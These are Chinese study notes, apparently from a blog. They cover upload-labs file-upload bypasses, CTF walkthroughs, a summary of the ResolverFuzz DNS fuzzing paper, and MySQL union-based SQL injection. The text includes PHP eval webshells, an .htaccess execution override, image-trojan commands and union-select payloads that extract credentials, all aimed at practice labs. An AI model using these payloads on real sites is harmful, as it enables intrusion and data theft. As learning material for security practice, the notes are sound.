Web-File2

文件上传

Pass-03(黑名单绕过)

trim函数 如果有空格,就把空格删除

这道题黑名单中有php,将文件后缀改为php5或phtml即可绕过

Pass-04(黑名单绕过 .htaccess攻击)。。。

上传.htaccess文件

1
2
3
<FilesMatch "shana">
SetHandler application/x-httpd-php
</FilesMatch>

文件名包含shana的会被当做php执行

可以把php文件命名为jpg文件,绕过黑名单,在网页访问该文件时,该文件会以php执行

Pass-05(黑名单绕过 后缀双写逻辑绕过)

查看源码,黑名单有大小写,但是没有所有的大小写组合,并且后缀名会转为小写,用双写绕过

后缀名改为.phpphp,上传成功

Pass-06(黑名单绕过 大小写文件名混淆)

查看源码,黑名单有大小写,但是没有所有的大小写组合,并且后缀名不会统一转为小写,将文件后缀改成PHp(黑名单中没有),上传成功

Pass-07(黑名单绕过 空格绕过)。。。

查看源码,发现跟之前源码相比,少了首位去空,抓包,在文件名最后加个空格,再forward,就上传成功

Pass-08(黑名单绕过 填点绕过)。。。

查看源码,发现没有删除文件名末尾的点,抓包,在后面加个.,绕过

Pass-09(黑名单绕过 Win文件流特性绕过)

查看源码,没有去除字符串::$DATA,抓包,在最后加上::$DATA,上传成功

Pass-10(黑名单绕过 点空格点代码逻辑绕过)。。。

抓包,将文件名后缀改为.php. .

首先去除空格,删除最后一个.

然后后缀名为.php.,绕过过滤,上传成功

Pass-11(黑名单绕过 双写绕过)

有一次过滤,将后缀名改为.pphphp,过滤完后缀名为.php,上传成功

Pass-12(白名单绕过 00截断GET型绕过)

这段代码是防止多个点绕过

1
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);

白名单加防止多点绕过,需要用到%00截断,%00是在地址方面,0x00截断是在文件命名方面

例如文件名为1.php

只能上传.jpg后缀文件,代码将文件命名为 1.php.19283018.jpg,使其为一个jpg文件

如果加上%00截断,1.php%00.19283018.jpg,%00之后的就没有了,为1.php

抓包,在第一行的参数save_path=../upload/改为save_path=../upload/1.php%00,php版本换为5.2

第21天 1:32:03

Pass-13(白名单绕过 00截断POST型绕过)

跟Pass-12类似,抓包,找到../upload的位置,写成../upload/xx.php%00

但是这个%00需要编码,选中%00,右键

image

Pass-14(图片马+文件包含绕过)。。。

在图片中写入后门代码

php后门代码,将这个代码附加在图片后面

1
<?php @eval($_POST['x']);?>

在cmd中运行copy 1.png /b + a.php /a webshell.jpg,得到webshell.jpg,可以看到图像最后加上了这一行php代码

image

获取上传的图片地址,右键图片,复制图像链接

http://192.168.182.1/upload/upload/8920230926111805.png

点击题目中给的文件包含漏洞链接,加上参数,进行访问

image

再用post传参,x=phpinfo();,可以执行php代码

文件上传之后端黑白名单绕过

黑名单:明确不让上传的格式后缀

白名单:明确可以上传的格式后缀

如果黑名单中有PHP,可以用PHP5或Phtml来绕过限制

enctype:文件上传的类型

method:上传方式

onsubmit:鼠标触发事件

image

看下面的代码,PHP中接受文件的参数名要与HTML表单中的一致,以name的值发送过去,name的值是upload_file,所以上面也是upload_file

1
2
3
4
5
$_FILES['myFile']['name'] 客户端文件的原名称。 
$_FILES['myFile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。
$_FILES['myFile']['size'] 已上传文件的大小,单位为字节。
$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的。
$_FILES['myFile']['error'] 和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本中增加的。下面是它的说明:(它们在PHP3.0以后成了常量)
1
2
3
4
5
6
7
8
9
10
<?php
$name=$_FILES['upload_file']['name']; #接收文件上传
echo $name
?>

<form enctypt="multipart/form-data" method="post">
<p>请选择要上传的图片:</p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>

.htaccess,用apach才行

.htaccess是apach的一个配置文件,将.htaccess文件上传成功后,其余文件会依照.htaccess的执行

.htaccess示例

将这个文件上传成功后,再上传文件名中包含shana的文件,就会被当作x-httpd-php来执行

注意shana文件要和上传的.htaccess文件在同一目录

1
2
3
<FilesMatch "shana">
SetHandler application/x-httpd-php
</FilesMatch>

有的代码是一次过滤,有的是循环过滤

比如说,a.phphp,一次过滤之后为a.php

循环过滤(递归过滤) 过滤后为a.

Web-File1

文件上传

搭建靶场 Vulhub

开靶场

1
2
3
4
5
6
7
8
9
10
11
12
进入tomcat所在目录
完整路径/home/fuzz/vulhub/tomcat/tomcat8
cd vulhub/tomcat/tomcat8
建立容器
docker-compose build
开启漏洞环境
docker-compose up -d
出现绿色的done就是创建好了
查看本机ip
ifconfig
然后访问
http://your-ip:8080/manager/html

关靶场

1
2
在tomcat8目录下将靶场关掉
docker-compose down
相关知识

思路,要知道是那种类型的漏洞,如果不知道,就按照常规处理

image

1、什么是文件上传漏洞?

只要有文件上传的地方,就有可能存在文件上传漏洞,要判断文件上传部分的代码是否写得完整,安全,要是存在疏忽,就有文件上传漏洞存在的可能

2、文件上传漏洞有哪些危害?

可以上传后门文件webshell,获取到当前网站权限,高危漏洞

3、文件上传漏洞如何查找及判断?

查找

①黑盒查找,对方的源码我们不知道,需要自己判断,可以通过扫描目录、敏感文件,有的字典中会有上传地址,通过扫描获取上传地址,或者在网站上给出的相关应用,比如说备案中心,一般可以上传图像

②白盒查找,有对方的源代码,可以分析源代码查找有无文件上传功能,文件上传地址

主要方法是扫描,寻找上传点

4、文件上传漏洞有哪些需要注意的地方?

要对文件上传的类型进行区分,比如说是利用编辑器,就搜索这个编辑器的相关漏洞,然后利用漏洞上传

文件上传常见验证:

后缀名,类型,文件头等

后缀名:黑名单,白名单

文件类型:MIME信息

文件头:内容头信息

文件上传之过滤方式

upload靶场
相关函数

upload-labs靶场通关(文件上传漏洞靶场)_風月长情的博客-CSDN博客

move_uploaded_file(file,newloc)

  • 将上传的文件移动到新位置,通过HTTP POST上传文件,如果目标文件已存在,则会被覆盖
  • file:要移动的文件
  • newloc:规定文件的位置

unlink(file)

删除文件

in_array(search,array)

搜索数组中是否存在指定的值

一句话木马

1
2
<?php phpinfo();?>
<?php eval($_POST[a];?>
Pass-01(前端JS绕过/客户端校验绕过)

有的网页采用js前端验证,可以在浏览器把js禁用,绕过验证,但是如果网站需要其它js代码才能正常运行,就不能采用这种方法

这道题是在前端使用了js对不合法图片进行检查

方法1

把网页源代码下载下来,删除js验证部分的代码,然后在图片上传的部分添加action,告诉它提交给谁

查看抓包信息,得到提交地址

image

编辑代码,并且删除js验证部分的代码,再运行,就可以提交成功

image

如果页面没有PHP代码来上传数据,只用JS来上传,就会抓不到包

方法2

在上传前,删除源码中的onsubmit=”return checkFile()”

方法3

先将php文件后缀改为png,抓包,如何修改后缀名位.php在上传就可以上传成功

Pass-02(后端验证文件类型–MIME校验)

点击右上角查看源码

源代码对图片类型进行了分析

方法1

上传一个图片文件,抓包记录它的MIME类型

上传一句话木马,抓包修改文件的MIME类型为刚才记录的 Content-Type

然后点击Forward提交,上传成功

方法2

修改文件后缀为图像文件,抓包修改文件名后缀

finecms前台任意文件上传漏洞 | CN-SEC 中文网

刷题

13、Upload

创建一个木马文件

可绕过的后缀名检测:php,php3,php4,php5,phtml.pht

image

上传该文件,显示Not image!

image

image

抓包,修改Content-Type的内容为 image/jpeg,send,查看文件名后缀应为.phtml

image

使用蚁剑

URL地址为:/upload/a.phtml

连接密码为:a

测试连接,连接成功后添加

image

image

右键单击,文件管理,查看根目录,找到flag

image

双击查看flag

image

1
flag{34c3fd89-3b0b-450b-9953-287122b67247}
14、Upload

上传一句话木马<?php eval($_POST[a]);?>,修改后缀名为.jpg

image

抓包,显示上传成功

image

使用蚁剑连接,URL地址为:http://458e3dd3-d7c3-41c5-b4cd-06727f565048.node4.buuoj.cn:81/./uplo4d/394659692a460258b45a99f1424ea357.jpg

连接密码为:a

尝试一下,测试连接显示返回数据为空

image

尝试修改后缀名为.phtml

image

使用蚁剑连接,URL地址为:http://458e3dd3-d7c3-41c5-b4cd-06727f565048.node4.buuoj.cn:81/./uplo4d/71056c0c9cb12f2b7d720156da9eabf1.phtml

连接密码为:a

测试连接,连接成功 后添加

image

image

右键单击,文件管理

在根目录中找到flag

image

双击查看flag

image

1
flag{8337ba06-02fe-47b4-8563-e341d08b19fe}

RESOLVERFUZZ

RESOLVERFUZZ: Automated Discovery of DNS Resolver Vulnerabilities with Query-Response Fuzzing 论文分享

Zhang, Q., Bai, X., Li, X., Duan, H., Li, Q., & Li, Z. (2023). ResolverFuzz: Automated Discovery of DNS Resolver Vulnerabilities with Query-Response Fuzzing. ArXiv, abs/2310.03202.

pdf链接:usenix.org/system/files/sec23winter-prepub-246-zhang-qifan.pdf

RESOLVERFUZZ:使用查询-响应模糊测试自动发现DNS解析器漏洞

RESOLVERFUZZ通过专注于简短的查询响应序列来执行受限状态模糊处理,这是目前查找解析器错误的最有效的方法。其次,为了生成更有可能触发解析器错误的测试用例,本文将基于概率上下文自由语法(PCFG)的输入生成与查询和响应的字节级突变相结合。最后,利用差分测试和集群来识别缓存中毒等非崩溃漏洞。

现存的解析器漏洞检测方法局限

  1. 大多数已知的解析器漏洞都是非崩溃漏洞,现有的检测手段无法直接检测到
  2. 缺乏严格的规范,无法将测试用例归类为解析器错误
  3. 解析器是有状态的,由于输入空间大,有状态模糊仍然具有挑战性

提出问题

如何使分析仪器能够更准确地进行流量分类,在不同的流量中捕捉隐式的和鲁棒的模式。

贡献

  1. 对DNS CVE进行了全面研究。
  2. 根据CVE研究的见解,开发了一个新的黑盒模糊系统RESOLVER-FUZZ。它执行受限的查询响应模糊,以在解析器上发现有效的错误。
  3. 为RESOLVERFUZZ开发和/或调整一套技术,包括DNS本地化、基于PCFG的测试生成、差异测试等。
  4. 针对6个主流解析器对RESOLVERFUZZ进行了评估,发现了23个漏洞。

DNS

DNS(Domain Name System)是一个分布式数据库系统,它将域名与IP地址进行映射,以便用户可以通过易记的域名访问互联网上的各种资源。DNS系统由多个组件组成,包括域名服务器、解析器和DNS协议等。

域名服务器存储了大量的域名与IP地址的映射关系,当用户输入一个域名时,解析器会向域名服务器发送请求,以获取对应的IP地址。域名服务器可以分为多个级别,包括根域名服务器、顶级域名服务器和权威域名服务器,它们协同工作,帮助解析器找到正确的IP地址。

DNS解析器

解析器是用户设备或网络设备上的软件,它负责将用户输入的域名转换为对应的IP地址。解析器首先会查询本地缓存,如果没有找到对应的IP地址,就会向域名服务器发送请求,获取正确的IP地址。解析器还可以进行递归查询,即向多个域名服务器发送请求,直到找到正确的IP地址为止。

DNS查询和响应的格式

遵循RFC 1034,RFC 1034定义了DNS查询和响应的格式,这些格式是DNS系统中用于进行域名解析的标准。以下是DNS查询和响应的格式遵循RFC 1034的主要内容:

DNS查询格式:

  • 查询报文格式遵循RFC 1034中定义的标准格式,包括查询标识、查询类型、查询类别等字段。
  • 查询报文通常包括一个或多个查询问题部分,每个问题部分包含一个域名、查询类型和查询类别。

DNS响应格式:

  • 响应报文格式同样遵循RFC 1034中定义的标准格式,包括响应标识、响应类型、响应类别等字段。
  • 响应报文通常包括一个或多个资源记录部分,每个资源记录包含了对查询的响应信息,包括域名、TTL(生存时间)、数据长度和实际数据等字段。

在RFC 1034中,还定义了DNS报文的各个字段的具体含义和格式要求,以及报文的传输方式和处理规则。这些规范使得不同的DNS实现能够遵循统一的标准,确保了DNS系统的互操作性和稳定性。

下图是一个DNS消息的示例

image

DNS相关漏洞的分布和根本原因

下表是本文对主流DNS软件的DNS CVE研究结果

image

  • F1:大多数CVE都是关于解析器的。本文总共确定了与6个研究的DNS软件相关的291个CVE(132个CVE与其他DNS软件有关)。其中,245(84%)是关于解析器(例如,递归和转发器模式的CVE-2019-6477和CVE-2020-8621)。只有46个CVE是关于名称服务器的(例如,CVE-2020-8619和CVE-2017-3143)。
  • F2:DNS软件中的多样化CVE。虽然BIND在CVE1的数量上占主导地位,但在其他软件(Technitium除外)中也发现了大量CVE。此外,本文发现245个CVE中只有13个CVE影响所有软件(例如,CVE-2020-12662下的NXNSAt-tack),这表明DNS软件的实现多种多样。
  • F3:很大一部分cve与崩溃无关。与先前研究TCP堆栈中的CVE的结果一样,本文发现不会触发软件崩溃的漏洞占很大一部分(245个cve中有109个)。主要后果包括缓存中毒(46个CVE,例如,在CVE-2002-2213和CVE-2006-0527下缓存非法记录)和资源消耗(39个CVE,例如,在CVE-2022-2795和CVE-2021-25219下花费过多的资源来处理DNS查询)。在136个与崩溃相关的bug中,只有43个是由CVE-2020-8625和CVE-2021-25216下的缓冲区溢出等内存损坏引起的。其他主要由断言失败触发(例如,CVE-2022-0635和CVE-2022-3080)。
  • F4:DNS消息的几乎每个字段都有相关的CVE。示例包括查询名称(CVE-2020- 8617)、查询类型(CVE-2022-0667)、查询标志(CVE-2017-15105)、rcode(CVE-2018-5734)、rdata(CVE-2013-4854)、TTL(CVE-2003-0914)等。
  • F5:大多数CVE都是通过非常短的消息序列触发的。本文发现222/245(91%)的CVE可以通过仅发送一个客户端查询或ns-响应来触发。其中一个例子是CVE-2022-3736。对于其他需要更长序列的CVE(例如,CVE- 2022-3924),需要许多客户端查询来触发错误。

RESOLVERFUZZ的设计目标和挑战

设计目标

RESOLVERFUZZ旨在取消覆盖上述威胁模型下的漏洞。 主要专注于四种类型的漏洞,缓存中毒、资源消耗、服务崩溃和内存损坏,因为这四种类型的漏洞是DNS软件的主要问题。 RESOLVERFUZZ应该高效地以高吞吐量测试解析器。此外,RESOLVERFUZZ应该能够以高精度判断测试输入是否会导致漏洞发现。

挑战

C1:效率。定期DNS解析预计会有显著的延迟,因为客户端、解析器和多个名称服务器之间需要网络通信。因此,实现解析器模糊的高吞吐量并非易事。

C2:突变。广泛使用的灰盒模糊器,如AFL,用基于覆盖的met-ric突变输入。然而,此类指标没有就测试输入的哪一部分应该突变提供足够的指导,但DNS消息包含许多与错误相关的字段。

C3:有状态的模糊。与在无状态模式下运行的名称服务器不同,解析器是有状态的,其状态取决于缓存记录、配置等。由于输入序列的搜索空间很大,国有服务被认为是网络模糊的主要挑战。

C4:Oracle。非崩溃错误在CVE中有很大份额。然而,缺乏检测器来检测此类错误。相反,像AddressSanitizer这样的可以检测到崩溃错误。差异测试已用于发现非崩溃的语义错误,但之前的工作都没有为DNS构建ora-cle。此外,DNS解析器之间的不一致很常见,其中许多并不表明存在漏洞。

RESOLVERFUZZ的工作流程

在第一阶段,测试基础设施加载不同实现的解析器并配置环境。应用了许多优化技术来增加DNS查询和响应的吞吐量(C1)。然后,测试用例生成器对客户端查询和ns响应执行基于语法的突变(C2)。虽然解析器是有状态的(C3),但根据本文对CVE的研究,在大多数情况下,触发错误只需要一个客户端查询和/或一个ns-响应的简短序列。因此,本文简化了有状态模糊,以模拟短序列。最终,对于我们的数据转储收集的数据,包括缓存、日志、响应和流量,开发了不同的程序来检测本文提到的不同类型的漏洞。本文应用差分测试来识别解析器之间的不一致,以捕获缓存中毒错误。为了解决(C4)问题,本文开发了一种新方法,对不一致情况进行聚类,并对异常情况进行警报,因此将大大减少错误调查的手动工作。

下图是RESOLVERFUZZ的流程图

image

测试基础设施

测试基础设施用于模拟DNS查询和针对解析器的响应,并收集跟踪以待以后分析。该基础设施主要包括一个DNS客户端和一个名称服务器,该名称服务器发出由本文的模糊器(攻击者客户端和攻击者服务器)生成的消息,一个测试调度器和一个跟踪收集器。

测试调度器

这个中央组件初始化DNS组件,包括攻击者客户端、攻击者服务器和解析器。在每轮测试(即一次DNS解析的往返)之间,调度器会重置这些组件。为了高效和完全重置,本文选择用轻量级Docker容器托管这些组件。为了增加测试吞吐量,调度器将命令客户端并行向解析器发送查询,并复制解析器实例。具体来说,调度器将攻击者客户端、攻击者服务器和解析器分组到一个单元中,并同时运行多个单元(使用不同的测试用例)。通过基于容器的隔离,每个解析器实例都可以独立测试。

测试过程
  • 测试调度器初始化Docker网络和n个模拟DNS基础设施单元。
  • 测试调度器从生成器获取测试用例,并将其补丁到攻击者客户端和服务器。
  • 在每个解析器容器启动后,内部监视器收集有关缓存转储、网络流量和进程信息的信息。
  • 当攻击者客户端收到解析器响应时,解析器容器将通过缓存刷新或软件重新启动进行重置,相应的单元将返回到第2步,直到所有测试完成。

测试用例生成器

从两个维度生成测试用例,包括攻击者客户端的客户端查询和攻击者服务器的ns响应。将DNS解析器视为有状态服务,则生成与客户端查询相对应的ns-response。

鉴于DNS消息具有复杂的结构,本文将概率无上下文语法(PCFG)应用于生成客户端查询和ns-responses的模板。

PCFG代码示例:

使用NLTK库来定义了一个简单的PCFG语法,并且给每个产生式赋予了概率值。然后使用ChartParser进行句法分析,对句子 “the cat chased the dog” 进行分析,并输出得到的语法树。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import nltk
from nltk import Nonterminal, nonterminals, Production, CFG

# 定义语法规则
grammar = CFG.fromstring("""
S -> NP VP [1.0]
NP -> Det N [0.5] | N [0.3] | NP PP [0.2]
VP -> V NP [0.6] | VP PP [0.4]
PP -> P NP [1.0]
Det -> 'the' [0.8] | 'a' [0.2]
N -> 'cat' [0.3] | 'dog' [0.3] | 'man' [0.2] | 'woman' [0.2]
V -> 'chased' [0.4] | 'saw' [0.3] | 'bit' [0.3]
P -> 'in' [0.5] | 'on' [0.3] | 'by' [0.2]
""")

# 句法分析
parser = nltk.ChartParser(grammar)
sent = "the cat chased the dog".split()
for tree in parser.parse(sent):
print(tree)
tree.pretty_print()

结论

本文开发了一个新的黑盒模糊系统RESOLVERFUZZ,专为查找DNS解析器漏洞能力而量身定制。RESOLVERFUZZ采用了约束状态模糊、差分测试和基于语法的模糊,达到了很好的效果。RE SOLVERFUZZ在查找解析器错误方面是有效的,发现了23个漏洞,并分配了15个CVE。

知识补充

DNS解析器中4种类型的漏洞
缓存中毒

攻击者篡改解析器的缓存,并将受害者客户端引导到恶意服务器。

DNS缓存中毒漏洞是一种网络安全漏洞,它允许攻击者操纵DNS服务器的缓存,以便将用户重定向到恶意网站或者进行其他恶意活动。这种漏洞可能会对用户的网络安全和隐私构成严重威胁。

缓存中毒漏洞的工作原理是利用DNS服务器的缓存功能,攻击者可以发送虚假的DNS响应,将恶意网站的IP地址存储在DNS服务器的缓存中。一旦DNS服务器缓存了这些虚假信息,当用户尝试访问受影响的域名时,DNS服务器将返回恶意网站的IP地址,使用户被重定向到攻击者控制的网站。

这种漏洞可能导致多种安全问题,包括:

  1. 钓鱼攻击:攻击者可以伪装成合法网站,诱使用户输入敏感信息,如用户名、密码、信用卡信息等。
  2. 恶意软件分发:攻击者可将用户重定向到包含恶意软件的站点,从而感染用户设备。
  3. 窃取信息:攻击者可能窃取用户的个人信息或敏感数据。
资源消耗

攻击者严重消耗解析器的资源来影响其服务质量。

DNS资源消耗漏洞是指攻击者利用DNS协议中的漏洞,导致DNS服务器的资源被过度占用或耗尽的安全漏洞。这些漏洞可能会导致DNS服务器性能下降、服务不可用或拒绝服务攻击(DoS)。

一些常见的DNS资源消耗漏洞包括:

  1. DNS查询放大攻击:攻击者利用DNS协议中的特性,发送大量的DNS查询请求到受害服务器,导致DNS服务器资源被过度占用,从而影响其正常运行。
  2. DNS区域传送攻击:攻击者利用DNS服务器的区域传送功能,向DNS服务器发送大量的区域传送请求,导致DNS服务器资源被耗尽,从而影响其正常运行。
  3. DNS缓存投毒攻击:攻击者通过发送虚假的DNS响应,将恶意域名或IP地址存储在DNS服务器的缓存中,从而影响DNS服务器的正常运行。
非内存崩溃

攻击者在没有内存损坏的情况下终止解析器,例如,通过发送DNS mes- sages来执行具有断言失败的代码。

DNS非内存崩溃漏洞是指DNS软件或系统中的漏洞,其导致的错误或异常不是由内存访问错误引起的。这些漏洞可能导致DNS服务器的异常行为,包括但不限于崩溃、拒绝服务,或者可能被攻击者利用进行远程代码执行等恶意行为。

一些常见的DNS非内存崩溃漏洞类型包括:

  1. 逻辑错误:DNS软件或系统中的逻辑错误可能导致预期之外的行为,例如在特定情况下导致程序进入无限循环或执行不正确的操作。
  2. 资源泄漏:DNS软件或系统中的资源泄漏漏洞可能导致系统资源(如文件描述符、内存、连接等)被耗尽,从而影响系统的正常运行。
  3. 不正确的错误处理:当DNS软件或系统在处理错误时出现问题,可能导致程序的异常行为,如未预料到的退出或崩溃。
内存崩溃

攻击者的DNS消息损坏了解析器内存并终止了解析器。

DNS内存崩溃漏洞是指DNS软件或系统中的漏洞,导致程序在处理域名解析请求时发生内存访问错误,从而导致程序崩溃或产生其他异常行为。这些漏洞通常由于缓冲区溢出或其他内存管理错误导致。

一些常见的DNS内存崩溃漏洞类型包括:

  1. 缓冲区溢出:DNS软件或系统中的缓冲区溢出漏洞可能导致攻击者向程序输入超出其预期范围的数据,从而覆盖了相邻的内存区域,最终导致程序崩溃或其他异常行为。
  2. 使用释放的内存:当DNS软件或系统尝试使用已经释放的内存时,可能导致程序崩溃或产生其他异常行为。
  3. 内存泄漏:DNS软件或系统中的内存泄漏漏洞可能导致系统内存资源被耗尽,从而影响系统的正常运行。
应对这些漏洞的方式
  1. 更新和配置DNS服务器:及时更新DNS服务器软件,并正确配置DNS服务器避免受到常见的DNS资源消耗攻击。
  2. 限制区域传送:对DNS服务器进行配置,限制对区域传送的请求,以防止遭受区域传送攻击。
  3. 安全监控:实施安全监控和日志记录,以及时发现和响应DNS资源消耗攻击行为。
  4. 使用防火墙和入侵检测系统:配置防火墙和入侵检测系统,以检测和阻止恶意的DNS流量。
  5. DNSSEC:部署DNSSEC(DNS安全扩展)来确保DNS数据的完整性和真实性,从而防范DNS缓存投毒攻击。
  6. 安全编程实践:在DNS软件或系统的开发过程中,采用安全编程实践,包括对用户输入进行正确的验证和过滤,以避免出现非内存崩溃漏洞。
  7. 代码审查:进行定期的代码审查,以发现和修复潜在的非内存崩溃漏洞。
  8. 安全测试:进行安全测试,包括静态代码分析和动态测试,以发现和修复潜在的漏洞。
  9. 及时修补:定期更新DNS软件和系统补丁,以修复已知的非内存崩溃漏洞。

SQLi1

SQL注入简介

参考 https://www.yuque.com/weiker/xiaodi/ail8hbspn7hllqzi

SQL注入原理

产生原因,可控变量带入数据库查询,变量未存在过滤或过滤不严谨,过滤不严谨的可以绕过过滤

SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的sql服务器加以解析和执行。由于sql语句本身的多样性,以及可用于构造sql语句的编程方法很多,因此凡是构造sql语句的步骤均存在被攻击的潜在风险。Sql注入的方式主要是直接将代码插入参数中,这些参数会被置入sql命令中加以执行。间接的攻击方式是将恶意代码插入字符串中,之后将这些字符串保存到数据库的数据表中或将其当成元数据。当将存储的字符串置入动态sql命令中时,恶意代码就将被执行。

如果web应用未对动态构造的sql语句使用的参数进行正确性审查(即便使用了参数化技术),攻击者就很可能会修改后台sql语句的构造。如果攻击者能够修改sql语句,那么该语句将与应用的用户具有相同的权限。当使用sql服务器执行与操作系统交互命令时,该进程将与执行命令的组件(如数据库服务器、应用服务器或web服务器)拥有相同的权限,这种权限的级别通常很高。如果攻击者执行以上恶意代码的插入操作成功,那么用户数据库服务器或者整个应用会遭到破坏,甚至被控制。

SQL注入的产生过程及常见原因

产生过程

大多数的web应用都需要与数据库进行交互,并且大多数web应用编程语言(如ASP、C##、.NET、Java和PHP)均提供了可编程的方法来与数据库连接并进行交互。如果web应用开发人员无法确保在将从web表单,cookie及输入参数等收到的值传递给sql查询(该查询在数据库服务器上执行)之前已经对其进行过验证,那么通常会出现sql注入漏洞,如果攻击者能够控制发送给sql查询的输入,并且能够操纵该输入将其解析为代码而非数据,那么攻击者就很有可能有能力在后台数据库执行该代码。

常见原因

基于此,SQL注入的产生原因通常表现在以下几方面:①转义字符处理不合适;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤多个提交处理不当。

不当的处理类型

Sql数据库将单引号字符(’)解析成代码与数据间的分界线:单引号外面的内容军事需要运行的代码,而用单引号引起来的内容均是数据。因为只需要简单的在URL或WEB页面的字段中输入一个单引号,就能很快速的识别出web站点是否会受到sql注入攻击。

不安全的数据库配置

数据库带有很多默认的用户预安装内容。SQL Server使用声名狼藉的“sa”作为数据库系统管理员账户,MySQL使用“root”和“anonymous”用户账户,Oracle则在创建数据库时通常会创建SYS、SYSTEM、DBSNMP和OUTLN账户。这些并非是全部的账号,知识比较出名的账户中的一部分,还有很多其他的账户。其他账户同样按默认方式进行预设,口令总所周知。

这就带来了很大的安全风险,攻击者利用sql注入漏洞时,通常会常识访问数据库的元数据,比如内部的数据库和表的名称、列的数据类型和访问权限,例如MySQL服务器的元数据位于information_schema虚拟数据库中,可通过show databases;和show tables;命令访问。所有的MySQL用户均有权限访问该数据库中的表,但只能查看表中那些与该用户访问权限相对应的对象的行。

不合理的查询集处理

有时需要使用动态的sql语句对某些复杂的应用进行编码,因为程序开发阶段可能还不知道要查询的表或字段(或者不存在)。比如与大型数据库交互的应用,这些数据库在定期创建的表中的数据由于应用已经产生了输入,因而开发人员会信任该数据,攻击者可以使用自己的表和字段数据来替换应用产生的值,从而影响系统的返回值。

不当的错误处理

错误处理不当会为web站点带来很多安全方面的问题。最常见的问题是将详细的内部错误消息(如错误代码,数据库转存储)显示给用户或攻击。这些错误消息会泄露实现细节,为攻击者提供与网站潜在缺陷相关的重要线索。

多个提交处理不当

大型的web开发项目会出现这样的问题:有些开发人员会对输入进行验证,而一些开发人员则不以为然。对于开发人员,团队,甚至公司来说,彼此独立工作的情形并不少见,很难保证项目中每个人都遵循相同的标准。

应用打开发人员还倾向于围绕用户来设计应用,他们尽可能的使用预期的处理流程来引导用户,认为用户将遵循他们已经设计好的逻辑顺序。

例如:当用户已到达一系列表单中的第三个表单时,他们会期望用户肯定已经完成第一个和第二个表达。但实际上,借助URL乱序来请求资源,能够非常容易的避开预期的数据流程。

mysql注入

image

知识点:

1、数据库版本在5.0以上就是高版本,需要用information_schema有据查询

在Mysql5.0以上版本中,MySQL存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息

2、数据库中符号”.”代表下一级,dbqyw.user表示dbqyw数据库下的user表名

information_schema.schemata:记录所有数据库名信息的表

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

schema_name:数据库名

table_name:表名

column_name:列名

table_schema:数据库名

3、猜解多个数据可以采用 limit x,1 变动猜解

步骤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1、判断注入点
老办法:
and 1=1 页面正常
and 1=2 页面错误
可能存在注入点,但是这个老方法现在用的少了,用最新的

2、猜测列名数量(字段数)
order by x x回显正常,x+1回显错误,有x个字段

3、猜解
最前面的1改成-1
-1 union select 1,2,...,x
显示几,几就是注入点

4、信息收集
数据库版本:version()
数据库名:database()
数据库用户:user()
操作系统:@@version_compile_os
版本探测的意义
1
2
在mysql5.0以后的版本存在一个information_schema数据库、里面存储记录数据库名、表名、列名的数据库
相当于可以通过information_schema这个数据库获取到数据库下面的表名和列名。
Mysql数据库结构
1
2
3
4
5
6
数据库A = 网站A
表名
列名
数据
。。。。。。

要层层递进得到数据

实践
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
注入点为2,查询数据库mozhe_Discuz_StormGroup的表名
-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
表名为StormGroup_member,只显示了一个表名,如果要显示所有,就加上group_concat
-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
显示了所有表名StormGroup_member,notice

查询表StormGroup_member的列名
-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
列名为id,name,password,status

查询指定数据
-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
name为mozhe和mozhe
password为356f589a7df439f6f744ff19bb8092c0和aa47b6f4aebaad8799e735b0e31dfc1c
对于这道题,题目提示了password经过的md5加密,解密后password为dsan13和807150,第一个被禁用了,第二个可以正常登录得到key

image

SQLi2

SQL注入 MySQL注入

image

一、information_schema

information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件。

  • SCHEMATA表

当前 mysql 实例中所有数据库的信息。SHOW DATABASES; 命令从这个表获取数据

获取到数据库名称

1
2
3
4
5
6
7
8
9
10
11
mysql> use information_schema;
mysql> select SCHEMA_NAME,DEFAULT_CHARACTER_SET_NAME from SCHEMATA;
+--------------------+----------------------------+
| SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME |
+--------------------+----------------------------+
| information_schema | utf8 |
| challenges | gbk |
| mysql | latin1 |
| performance_schema | utf8 |
| security | gbk |
+--------------------+----------------------------+
  • TABLES 表

存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。SHOW TABLES FROM XX; 命令从这个表获取结果。

1
2
3
4
5
6
7
8
9
10
11
mysql> select TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME from tables limit 0,5;
+---------------+--------------------+---------------------------------------+
| TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME |
+---------------+--------------------+---------------------------------------+
| def | information_schema | CHARACTER_SETS |
| def | information_schema | COLLATIONS |
| def | information_schema | COLLATION_CHARACTER_SET_APPLICABILITY |
| def | information_schema | COLUMNS |
| def | information_schema | COLUMN_PRIVILEGES |
+---------------+--------------------+---------------------------------------+
5 rows in set (0.00 sec)
  • COLUMNS 表

存储表中的列信息,包括表有多少列、每个列的类型等。SHOW COLUMNS FROM schemaname.tablename 命令从这个表获取结果。

1
2
3
4
5
6
7
8
9
10
